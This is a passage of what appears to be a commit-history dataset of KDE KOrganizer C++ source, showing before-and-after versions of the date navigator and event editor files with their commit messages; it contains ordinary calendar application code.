Qt, and distribute the resulting executable,\n  without including the source code for Qt in the source distribution.\n*\/\n\n#include \"datenavigator.h\"\n#include \"koglobals.h\"\n\n#include <kcalendarsystem.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <klocale.h>\n\nusing namespace KCal;\n\nDateNavigator::DateNavigator( QObject *parent ) : QObject( parent )\n{\n  mSelectedDates.append( QDate::currentDate() );\n}\n\nDateNavigator::~DateNavigator()\n{\n}\n\nDateList DateNavigator::selectedDates()\n{\n  return mSelectedDates;\n}\n\nint DateNavigator::datesCount() const\n{\n  return mSelectedDates.count();\n}\n\nvoid DateNavigator::selectDates( const DateList &dateList )\n{\n  if ( dateList.count() > 0 ) {\n    mSelectedDates = dateList;\n    emitSelected();\n  }\n}\n\nvoid DateNavigator::selectDate( const QDate &date )\n{\n  QDate d = date;\n\n  if ( !d.isValid() ) {\n    kDebug() << \"an invalid date was passed as a parameter!\";\n    d = QDate::currentDate();\n  }\n\n  mSelectedDates.clear();\n  mSelectedDates.append( d );\n\n  emitSelected();\n}\n\nvoid DateNavigator::selectDates( int count )\n{\n  selectDates( mSelectedDates.first(), count );\n}\n\nvoid DateNavigator::selectDates( const QDate &d, int count )\n{\n  DateList dates;\n\n  int i;\n  for ( i = 0; i < count; ++i ) {\n    dates.append( d.addDays( i ) );\n  }\n\n  mSelectedDates = dates;\n  emitSelected();\n}\n\nvoid DateNavigator::selectWeekByDay( int weekDay, const QDate &d )\n{\n  int dateCount = mSelectedDates.count();\n  bool weekStart = ( weekDay == KGlobal::locale()->weekStartDay() );\n  if ( weekStart && dateCount == 7 ) {\n    selectWeek( d );\n  } else {\n    selectDates( d, dateCount );\n  }\n}\n\nvoid DateNavigator::selectWeek()\n{\n  selectWeek( mSelectedDates.first() );\n}\n\nvoid DateNavigator::selectWeek( const QDate &d )\n{\n  int dayOfWeek = KOGlobals::self()->calendarSystem()->dayOfWeek( d );\n\n  int weekStart = KGlobal::locale()->weekStartDay();\n\n  QDate firstDate = d.addDays( weekStart - dayOfWeek );\n\n  if ( weekStart != 1 && dayOfWeek < weekStart ) {\n    firstDate = firstDate.addDays( -7 );\n  }\n\n  selectDates( firstDate, 7 );\n}\n\nvoid DateNavigator::selectWorkWeek()\n{\n  selectWorkWeek( mSelectedDates.first() );\n}\n\nvoid DateNavigator::selectWorkWeek( const QDate &d )\n{\n  int weekStart = KGlobal::locale()->weekStartDay();\n  int dayOfWeek = KOGlobals::self()->calendarSystem()->dayOfWeek( d );\n  QDate currentDate = d.addDays( weekStart - dayOfWeek );\n\n  if ( weekStart != 1 && dayOfWeek < weekStart ) {\n    currentDate = currentDate.addDays( -7 );\n  }\n\n  mSelectedDates.clear();\n  int mask = KOGlobals::self()->getWorkWeekMask();\n\n  for ( int i = 0; i < 7; ++i ) {\n    if ( ( 1 << ( ( i + weekStart + 6 ) % 7 ) ) & (mask) ) {\n      mSelectedDates.append( currentDate.addDays( i ) );\n    }\n  }\n\n  emitSelected();\n}\n\nvoid DateNavigator::selectToday()\n{\n  QDate d = QDate::currentDate();\n\n  int dateCount = mSelectedDates.count();\n\n  if ( dateCount == 7 ) {\n    selectWeek( d );\n  } else {\n    selectDates( d, dateCount );\n  }\n}\n\nvoid DateNavigator::selectPreviousYear()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, -1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPreviousMonth()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addMonths( firstSelected, -1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPreviousWeek()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addDays( firstSelected, -7 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextWeek()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n\n  firstSelected = KOGlobals::self()->calendarSystem()->addDays( firstSelected, 7 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextMonth()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n\n  firstSelected = KOGlobals::self()->calendarSystem()->addMonths( firstSelected, 1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextYear()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, 1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPrevious()\n{\n  int offset = -7;\n  if ( datesCount() == 1 ) {\n    offset = -1;\n  }\n\n  selectDates( mSelectedDates.first().addDays( offset ), datesCount() );\n}\n\nvoid DateNavigator::selectNext()\n{\n  int offset = 7;\n  if ( datesCount() == 1 ) {\n    offset = 1;\n  }\n\n  selectDates( mSelectedDates.first().addDays( offset ), datesCount() );\n}\n\nvoid DateNavigator::selectMonth( int month )\n{\n  \/\/ always display starting at the first week of the specified month\n\n  QDate firstSelected = QDate( mSelectedDates.first().year(), month, 1 );\n\n  const KCalendarSystem *calSys = KOGlobals::self()->calendarSystem();\n  int day = calSys->day( firstSelected );\n  calSys->setYMD( firstSelected, calSys->year( firstSelected ), month, 1 );\n  int days = calSys->daysInMonth( firstSelected );\n  \/\/ As day we use either the selected date, or if the month has less days\n  \/\/ than that, we use the max day of that month\n  if ( day > days ) {\n    day = days;\n  }\n  calSys->setYMD( firstSelected, calSys->year( firstSelected ), month, day );\n\n  selectWeekByDay( 1, firstSelected );\n}\n\nvoid DateNavigator::selectYear( int year )\n{\n  QDate firstSelected = mSelectedDates.first();\n  int deltaYear = year - KOGlobals::self()->calendarSystem()->year( firstSelected );\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, deltaYear );\n\n  int weekDay = firstSelected.dayOfWeek();\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::emitSelected()\n{\n  emit datesSelected( mSelectedDates );\n}\n\n#include \"datenavigator.moc\"\n<commit_msg>SVN_MERGE Merged revisions 1015955 via svnmerge from  svn+ssh:\/\/tmcguire@svn.kde.org\/home\/kde\/branches\/kdepim\/enterprise4\/kdepim<commit_after>\/*\n  This file is part of KOrganizer.\n  Copyright (c) 2002 Cornelius Schumacher <schumacher@kde.org>\n  Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n  This program is free software; you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation; either version 2 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License along\n  with this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n  As a special exception, permission is given to link this program\n  with any edition of Qt, and distribute the resulting executable,\n  without including the source code for Qt in the source distribution.\n*\/\n\n#include \"datenavigator.h\"\n#include \"koglobals.h\"\n\n#include <kcalendarsystem.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <klocale.h>\n\nusing namespace KCal;\n\nDateNavigator::DateNavigator( QObject *parent ) : QObject( parent )\n{\n  mSelectedDates.append( QDate::currentDate() );\n}\n\nDateNavigator::~DateNavigator()\n{\n}\n\nDateList DateNavigator::selectedDates()\n{\n  return mSelectedDates;\n}\n\nint DateNavigator::datesCount() const\n{\n  return mSelectedDates.count();\n}\n\nvoid DateNavigator::selectDates( const DateList &dateList )\n{\n  if ( dateList.count() > 0 ) {\n    mSelectedDates = dateList;\n    emitSelected();\n  }\n}\n\nvoid DateNavigator::selectDate( const QDate &date )\n{\n  QDate d = date;\n\n  if ( !d.isValid() ) {\n    kDebug() << \"an invalid date was passed as a parameter!\";\n    d = QDate::currentDate();\n  }\n\n  mSelectedDates.clear();\n  mSelectedDates.append( d );\n\n  emitSelected();\n}\n\nvoid DateNavigator::selectDates( int count )\n{\n  selectDates( mSelectedDates.first(), count );\n}\n\nvoid DateNavigator::selectDates( const QDate &d, int count )\n{\n  DateList dates;\n\n  int i;\n  for ( i = 0; i < count; ++i ) {\n    dates.append( d.addDays( i ) );\n  }\n\n  mSelectedDates = dates;\n  emitSelected();\n}\n\nvoid DateNavigator::selectWeekByDay( int weekDay, const QDate &d )\n{\n  int dateCount = mSelectedDates.count();\n  bool weekStart = ( weekDay == KGlobal::locale()->weekStartDay() );\n  if ( weekStart && dateCount == 7 ) {\n    selectWeek( d );\n  } else {\n    selectDates( d, dateCount );\n  }\n}\n\nvoid DateNavigator::selectWeek()\n{\n  selectWeek( mSelectedDates.first() );\n}\n\nvoid DateNavigator::selectWeek( const QDate &d )\n{\n  int dayOfWeek = KOGlobals::self()->calendarSystem()->dayOfWeek( d );\n\n  int weekStart = KGlobal::locale()->weekStartDay();\n\n  QDate firstDate = d.addDays( weekStart - dayOfWeek );\n\n  if ( weekStart != 1 && dayOfWeek < weekStart ) {\n    firstDate = firstDate.addDays( -7 );\n  }\n\n  selectDates( firstDate, 7 );\n}\n\nvoid DateNavigator::selectWorkWeek()\n{\n  selectWorkWeek( mSelectedDates.first() );\n}\n\nvoid DateNavigator::selectWorkWeek( const QDate &d )\n{\n  int weekStart = KGlobal::locale()->weekStartDay();\n  int dayOfWeek = KOGlobals::self()->calendarSystem()->dayOfWeek( d );\n  QDate currentDate = d.addDays( weekStart - dayOfWeek );\n\n  if ( weekStart != 1 && dayOfWeek < weekStart ) {\n    currentDate = currentDate.addDays( -7 );\n  }\n\n  mSelectedDates.clear();\n  int mask = KOGlobals::self()->getWorkWeekMask();\n\n  for ( int i = 0; i < 7; ++i ) {\n    if ( ( 1 << ( ( i + weekStart + 6 ) % 7 ) ) & (mask) ) {\n      mSelectedDates.append( currentDate.addDays( i ) );\n    }\n  }\n\n  emitSelected();\n}\n\nvoid DateNavigator::selectToday()\n{\n  QDate d = QDate::currentDate();\n\n  int dateCount = mSelectedDates.count();\n\n  if ( dateCount == 7 ) {\n    selectWeek( d );\n  } else if ( dateCount == 5 ) {\n    selectWorkWeek( d );\n  } else {\n    selectDates( d, dateCount );\n  }\n}\n\nvoid DateNavigator::selectPreviousYear()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, -1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPreviousMonth()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addMonths( firstSelected, -1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPreviousWeek()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addDays( firstSelected, -7 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextWeek()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n\n  firstSelected = KOGlobals::self()->calendarSystem()->addDays( firstSelected, 7 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextMonth()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n\n  firstSelected = KOGlobals::self()->calendarSystem()->addMonths( firstSelected, 1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectNextYear()\n{\n  QDate firstSelected = mSelectedDates.first();\n  int weekDay = firstSelected.dayOfWeek();\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, 1 );\n\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::selectPrevious()\n{\n  int offset = -7;\n  if ( datesCount() == 1 ) {\n    offset = -1;\n  }\n\n  selectDates( mSelectedDates.first().addDays( offset ), datesCount() );\n}\n\nvoid DateNavigator::selectNext()\n{\n  int offset = 7;\n  if ( datesCount() == 1 ) {\n    offset = 1;\n  }\n\n  selectDates( mSelectedDates.first().addDays( offset ), datesCount() );\n}\n\nvoid DateNavigator::selectMonth( int month )\n{\n  \/\/ always display starting at the first week of the specified month\n\n  QDate firstSelected = QDate( mSelectedDates.first().year(), month, 1 );\n\n  const KCalendarSystem *calSys = KOGlobals::self()->calendarSystem();\n  int day = calSys->day( firstSelected );\n  calSys->setYMD( firstSelected, calSys->year( firstSelected ), month, 1 );\n  int days = calSys->daysInMonth( firstSelected );\n  \/\/ As day we use either the selected date, or if the month has less days\n  \/\/ than that, we use the max day of that month\n  if ( day > days ) {\n    day = days;\n  }\n  calSys->setYMD( firstSelected, calSys->year( firstSelected ), month, day );\n\n  selectWeekByDay( 1, firstSelected );\n}\n\nvoid DateNavigator::selectYear( int year )\n{\n  QDate firstSelected = mSelectedDates.first();\n  int deltaYear = year - KOGlobals::self()->calendarSystem()->year( firstSelected );\n  firstSelected = KOGlobals::self()->calendarSystem()->addYears( firstSelected, deltaYear );\n\n  int weekDay = firstSelected.dayOfWeek();\n  selectWeekByDay( weekDay, firstSelected );\n}\n\nvoid DateNavigator::emitSelected()\n{\n  emit datesSelected( mSelectedDates );\n}\n\n#include \"datenavigator.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 2001, 2002, 2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <qtooltip.h>\n#include <qframe.h>\n#include <qpixmap.h>\n#include <qlayout.h>\n#include <qwidgetstack.h>\n#include <qwhatsthis.h>\n\n#include <kiconloader.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <libkcal\/calendarresources.h>\n#include <libkcal\/resourcecalendar.h>\n\n#include <libkcal\/calendarlocal.h>\n\n#include \"koprefs.h\"\n#include \"koeditorgeneralevent.h\"\n#include \"koeditoralarms.h\"\n#include \"koeditorrecurrence.h\"\n#include \"koeditordetails.h\"\n#include \"koeditorattachments.h\"\n#include \"koeditorfreebusy.h\"\n#include \"kogroupware.h\"\n#include \"kodialogmanager.h\"\n#include \"incidencechanger.h\"\n\n#include \"koeventeditor.h\"\n\nKOEventEditor::KOEventEditor( Calendar *calendar, QWidget *parent )\n  : KOIncidenceEditor( QString::null, calendar, parent ),\n    mEvent( 0 ), mGeneral( 0 ), mRecurrence( 0 ), mFreeBusy( 0 )\n{\n}\n\nKOEventEditor::~KOEventEditor()\n{\n  mFreeBusy = 0; \/\/ see note in processInput()\n  emit dialogClose( mEvent );\n}\n\nvoid KOEventEditor::init()\n{\n  setupGeneral();\n\/\/  setupAlarmsTab();\n  setupRecurrence();\n  setupAttendeesTab();\n  setupFreeBusy();\n  setupAttachmentsTab();\n  setupDesignerTabs( \"event\" );\n\n  mDetails->setFreeBusyWidget( mFreeBusy );\n\n  \/\/ Propagate date time settings to recurrence tab\n  connect( mGeneral, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mRecurrence, SLOT( setDateTimes( const QDateTime &, const QDateTime &) ) );\n  connect( mGeneral, SIGNAL( dateTimeStrChanged( const QString & ) ),\n           mRecurrence, SLOT( setDateTimeStr( const QString & ) ) );\n  connect( mFreeBusy, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mRecurrence, SLOT( setDateTimes( const QDateTime &, const QDateTime & ) ) );\n\n  \/\/ Propagate date time settings to gantt tab and back\n  connect( mGeneral, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mFreeBusy, SLOT( slotUpdateGanttView( const QDateTime &, const QDateTime & ) ) );\n  connect( mFreeBusy, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mGeneral, SLOT( setDateTimes( const QDateTime &, const QDateTime & ) ) );\n\n  connect( mGeneral, SIGNAL( focusReceivedSignal() ),\n           SIGNAL( focusReceivedSignal() ) );\n\n  connect( mGeneral, SIGNAL( openCategoryDialog() ),\n           SIGNAL( editCategories() ) );\n}\n\nvoid KOEventEditor::reload()\n{\n  kdDebug(5850) << \"KOEventEditor::reload()\" << endl;\n\n  if ( mEvent ) readEvent( mEvent );\n}\n\nvoid KOEventEditor::setupGeneral()\n{\n  mGeneral = new KOEditorGeneralEvent( this );\n\n  if( KOPrefs::instance()->mCompactDialogs ) {\n    QFrame *topFrame = addPage(i18n(\"General\"));\n    QWhatsThis::add( topFrame,\n                     i18n(\"The General tab allows you to set the most common \"\n                          \"options for the event.\") );\n\n    QBoxLayout *topLayout = new QVBoxLayout(topFrame);\n    topLayout->setSpacing(spacingHint());\n\n    mGeneral->initHeader(topFrame,topLayout);\n    mGeneral->initTime(topFrame,topLayout);\n\/\/    QBoxLayout *alarmLineLayout = new QHBoxLayout(topLayout);\n    mGeneral->initAlarm(topFrame,topLayout);\n    mGeneral->enableAlarm( false );\n    mGeneral->initCategories( topFrame, topLayout );\n\n    topLayout->addStretch( 1 );\n\n    QFrame *topFrame2 = addPage(i18n(\"Details\"));\n\n    QBoxLayout *topLayout2 = new QVBoxLayout(topFrame2);\n    topLayout2->setSpacing(spacingHint());\n\n    mGeneral->initClass(topFrame2,topLayout2);\n    mGeneral->initSecrecy( topFrame2, topLayout2 );\n    mGeneral->initDescription(topFrame2,topLayout2);\n  } else {\n    QFrame *topFrame = addPage(i18n(\"&General\"));\n    QWhatsThis::add( topFrame,\n                     i18n(\"The General tab allows you to set the most common \"\n                          \"options for the event.\") );\n\n    QBoxLayout *topLayout = new QVBoxLayout(topFrame);\n    topLayout->setSpacing(spacingHint());\n\n    mGeneral->initHeader(topFrame,topLayout);\n    mGeneral->initTime(topFrame,topLayout);\n    QBoxLayout *alarmLineLayout = new QHBoxLayout(topLayout);\n    mGeneral->initAlarm(topFrame,alarmLineLayout);\n    alarmLineLayout->addStretch( 1 );\n    mGeneral->initClass(topFrame,alarmLineLayout);\n    mGeneral->initDescription(topFrame,topLayout);\n    QBoxLayout *detailsLayout = new QHBoxLayout(topLayout);\n    mGeneral->initCategories( topFrame, detailsLayout );\n    mGeneral->initSecrecy( topFrame, detailsLayout );\n  }\n\n  mGeneral->finishSetup();\n}\n\nvoid KOEventEditor::modified (int \/*modification*\/)\n{\n  \/\/ Play dump, just reload the event. This dialog has become so complicated\n  \/\/ that there is no point in trying to be smart here...\n  reload();\n}\n\nvoid KOEventEditor::setupRecurrence()\n{\n  QFrame *topFrame = addPage( i18n(\"Rec&urrence\") );\n\n  QWhatsThis::add( topFrame,\n        i18n(\"The Recurrence tab allows you to set options on \"\n       \"how often this event recurs.\") );\n\n  QBoxLayout *topLayout = new QVBoxLayout( topFrame );\n\n  mRecurrence = new KOEditorRecurrence( topFrame );\n  topLayout->addWidget( mRecurrence );\n}\n\nvoid KOEventEditor::setupFreeBusy()\n{\n  QFrame *freeBusyPage = addPage( i18n(\"&Free\/Busy\") );\n  QWhatsThis::add( freeBusyPage,\n        i18n(\"The Free\/Busy tab allows you to see whether \"\n       \"other attendees are free or busy during your event.\") );\n\n  QBoxLayout *topLayout = new QVBoxLayout( freeBusyPage );\n\n  mFreeBusy = new KOEditorFreeBusy( spacingHint(), freeBusyPage );\n  topLayout->addWidget( mFreeBusy );\n}\n\nvoid KOEventEditor::editIncidence( Incidence *incidence )\n{\n  Event*event = dynamic_cast<Event*>(incidence);\n  if ( event ) {\n    init();\n\n    mEvent = event;\n    readEvent(mEvent);\n  }\n\n  setCaption( i18n(\"Edit Event\") );\n}\n\nvoid KOEventEditor::newEvent()\n{\n  init();\n  mEvent = 0;\n  loadDefaults();\n  setCaption( i18n(\"New Event\") );\n}\n\nvoid KOEventEditor::setDates( const QDateTime &from, const QDateTime &to, bool allDay )\n{\n  mGeneral->setDefaults( from, to, allDay );\n  mDetails->setDefaults();\n  mAttachments->setDefaults();\n  mRecurrence->setDefaults( from, to, allDay );\n  if( mFreeBusy ) {\n    if ( allDay )\n      mFreeBusy->setDateTimes( from, to.addDays( 1 ) );\n    else\n      mFreeBusy->setDateTimes( from, to );\n  }\n}\n\nvoid KOEventEditor::setTexts( const QString &summary, const QString &description )\n{\n  if ( description.isEmpty() && summary.contains(\"\\n\") ) {\n    mGeneral->setDescription( summary );\n    int pos = summary.find( \"\\n\" );\n    mGeneral->setSummary( summary.left( pos ) );\n  } else {\n    mGeneral->setSummary( summary );\n    mGeneral->setDescription( description );\n  }\n}\n\nvoid KOEventEditor::loadDefaults()\n{\n  QDateTime from( QDate::currentDate(), KOPrefs::instance()->mStartTime.time() );\n  int addSecs = ( KOPrefs::instance()->mDefaultDuration.time().hour()*3600 ) +\n                ( KOPrefs::instance()->mDefaultDuration.time().minute()*60 );\n  QDateTime to( from.addSecs( addSecs ) );\n\n  setDates( from, to, false );\n}\n\nbool KOEventEditor::processInput()\n{\n  kdDebug(5850) << \"KOEventEditor::processInput()\" << endl;\n\n  if ( !validateInput() || !mChanger ) return false;\n\n  if ( mEvent ) {\n    bool rc = true;\n    Event *oldEvent = mEvent->clone();\n    Event *event = mEvent->clone();\n\n    kdDebug(5850) << \"KOEventEditor::processInput() write event.\" << endl;\n    writeEvent( event );\n    kdDebug(5850) << \"KOEventEditor::processInput() event written.\" << endl;\n\n    if( *event == *mEvent )\n      \/\/ Don't do anything\n      kdDebug(5850) << \"Event not changed\\n\";\n    else {\n      kdDebug(5850) << \"Event changed\\n\";\n      \/\/IncidenceChanger::assignIncidence( mEvent, event );\n      writeEvent( mEvent );\n      mChanger->changeIncidence( oldEvent, mEvent );\n    }\n    delete event;\n    delete oldEvent;\n    return rc;\n  } else {\n    mEvent = new Event;\n    mEvent->setOrganizer( Person( KOPrefs::instance()->fullName(),\n                          KOPrefs::instance()->email() ) );\n    writeEvent( mEvent );\n    \/\/ NOTE: triggered by addIncidence, the kolab resource might open a non-modal dialog (parent is not available in the resource) to select a resource folder. Thus the user can close this dialog before addIncidence() returns.\n    if ( !mChanger->addIncidence( mEvent, this ) ) {\n      delete mEvent;\n      mEvent = 0;\n      return false;\n    }\n  }\n  \/\/ safe, b\/c mFreeBusy is reset to 0 in the dtor\n  if ( mFreeBusy ) mFreeBusy->cancelReload();\n\n  return true;\n}\n\nvoid KOEventEditor::processCancel()\n{\n  kdDebug(5850) << \"KOEventEditor::processCancel()\" << endl;\n\n  if ( mFreeBusy ) mFreeBusy->cancelReload();\n}\n\nvoid KOEventEditor::deleteEvent()\n{\n  kdDebug(5850) << \"Delete event\" << endl;\n\n  if ( mEvent )\n    emit deleteIncidenceSignal( mEvent );\n  emit dialogClose( mEvent );\n  reject();\n}\n\nvoid KOEventEditor::readEvent( Event *event, bool tmpl )\n{\n  mGeneral->readEvent( event, tmpl );\n  mDetails->readEvent( event );\n  mRecurrence->readIncidence( event );\n  mAttachments->readIncidence( event );\n\/\/  mAlarms->readIncidence( event );\n  if ( mFreeBusy ) {\n    mFreeBusy->readEvent( event );\n    mFreeBusy->triggerReload();\n  }\n\n  createEmbeddedURLPages( event );\n  readDesignerFields( event );\n}\n\nvoid KOEventEditor::writeEvent( Event *event )\n{\n  mGeneral->writeEvent( event );\n  mDetails->writeEvent( event );\n  mAttachments->writeIncidence( event );\n\n  cancelRemovedAttendees( event );\n\n  mRecurrence->writeIncidence( event );\n\n  writeDesignerFields( event );\n}\n\nbool KOEventEditor::validateInput()\n{\n  if ( !mGeneral->validateInput() ) return false;\n  if ( !mDetails->validateInput() ) return false;\n  if ( !mRecurrence->validateInput() ) return false;\n\n  return true;\n}\n\nint KOEventEditor::msgItemDelete()\n{\n  return KMessageBox::warningContinueCancel(this,\n      i18n(\"This item will be permanently deleted.\"),\n      i18n(\"KOrganizer Confirmation\"),KGuiItem(i18n(\"Delete\"),\"editdelete\"));\n}\n\nvoid KOEventEditor::loadTemplate( \/*const*\/ CalendarLocal& cal )\n{\n  const Event::List events = cal.events();\n  if ( events.count() == 0 ) {\n    KMessageBox::error( this,\n        i18n(\"Template does not contain a valid event.\") );\n  } else {\n    kdDebug(5850) << \"KOEventEditor::slotLoadTemplate(): readTemplate\" << endl;\n    readEvent( events.first(), true );\n  }\n}\n\nQStringList& KOEventEditor::templates() const\n{\n  return KOPrefs::instance()->mEventTemplates;\n}\n\nvoid KOEventEditor::slotSaveTemplate( const QString &templateName )\n{\n  kdDebug(5006) << \"SlotSaveTemplate\" << endl;\n  Event *event = new Event;\n  writeEvent( event );\n  saveAsTemplate( event, templateName );\n}\n\nQObject *KOEventEditor::typeAheadReceiver() const\n{\n  return mGeneral->typeAheadReceiver();\n}\n\n#include \"koeventeditor.moc\"\n<commit_msg>Kolab issue 1784 (prokde35): next try. Prevent crash using a QGuardedPtr<commit_after>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 2001, 2002, 2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <qtooltip.h>\n#include <qframe.h>\n#include <qpixmap.h>\n#include <qlayout.h>\n#include <qwidgetstack.h>\n#include <qwhatsthis.h>\n\n#include <kiconloader.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <libkcal\/calendarresources.h>\n#include <libkcal\/resourcecalendar.h>\n\n#include <libkcal\/calendarlocal.h>\n\n#include \"koprefs.h\"\n#include \"koeditorgeneralevent.h\"\n#include \"koeditoralarms.h\"\n#include \"koeditorrecurrence.h\"\n#include \"koeditordetails.h\"\n#include \"koeditorattachments.h\"\n#include \"koeditorfreebusy.h\"\n#include \"kogroupware.h\"\n#include \"kodialogmanager.h\"\n#include \"incidencechanger.h\"\n\n#include \"koeventeditor.h\"\n\nKOEventEditor::KOEventEditor( Calendar *calendar, QWidget *parent )\n  : KOIncidenceEditor( QString::null, calendar, parent ),\n    mEvent( 0 ), mGeneral( 0 ), mRecurrence( 0 ), mFreeBusy( 0 )\n{\n}\n\nKOEventEditor::~KOEventEditor()\n{\n  emit dialogClose( mEvent );\n}\n\nvoid KOEventEditor::init()\n{\n  setupGeneral();\n\/\/  setupAlarmsTab();\n  setupRecurrence();\n  setupAttendeesTab();\n  setupFreeBusy();\n  setupAttachmentsTab();\n  setupDesignerTabs( \"event\" );\n\n  mDetails->setFreeBusyWidget( mFreeBusy );\n\n  \/\/ Propagate date time settings to recurrence tab\n  connect( mGeneral, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mRecurrence, SLOT( setDateTimes( const QDateTime &, const QDateTime &) ) );\n  connect( mGeneral, SIGNAL( dateTimeStrChanged( const QString & ) ),\n           mRecurrence, SLOT( setDateTimeStr( const QString & ) ) );\n  connect( mFreeBusy, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mRecurrence, SLOT( setDateTimes( const QDateTime &, const QDateTime & ) ) );\n\n  \/\/ Propagate date time settings to gantt tab and back\n  connect( mGeneral, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mFreeBusy, SLOT( slotUpdateGanttView( const QDateTime &, const QDateTime & ) ) );\n  connect( mFreeBusy, SIGNAL( dateTimesChanged( const QDateTime &, const QDateTime & ) ),\n           mGeneral, SLOT( setDateTimes( const QDateTime &, const QDateTime & ) ) );\n\n  connect( mGeneral, SIGNAL( focusReceivedSignal() ),\n           SIGNAL( focusReceivedSignal() ) );\n\n  connect( mGeneral, SIGNAL( openCategoryDialog() ),\n           SIGNAL( editCategories() ) );\n}\n\nvoid KOEventEditor::reload()\n{\n  kdDebug(5850) << \"KOEventEditor::reload()\" << endl;\n\n  if ( mEvent ) readEvent( mEvent );\n}\n\nvoid KOEventEditor::setupGeneral()\n{\n  mGeneral = new KOEditorGeneralEvent( this );\n\n  if( KOPrefs::instance()->mCompactDialogs ) {\n    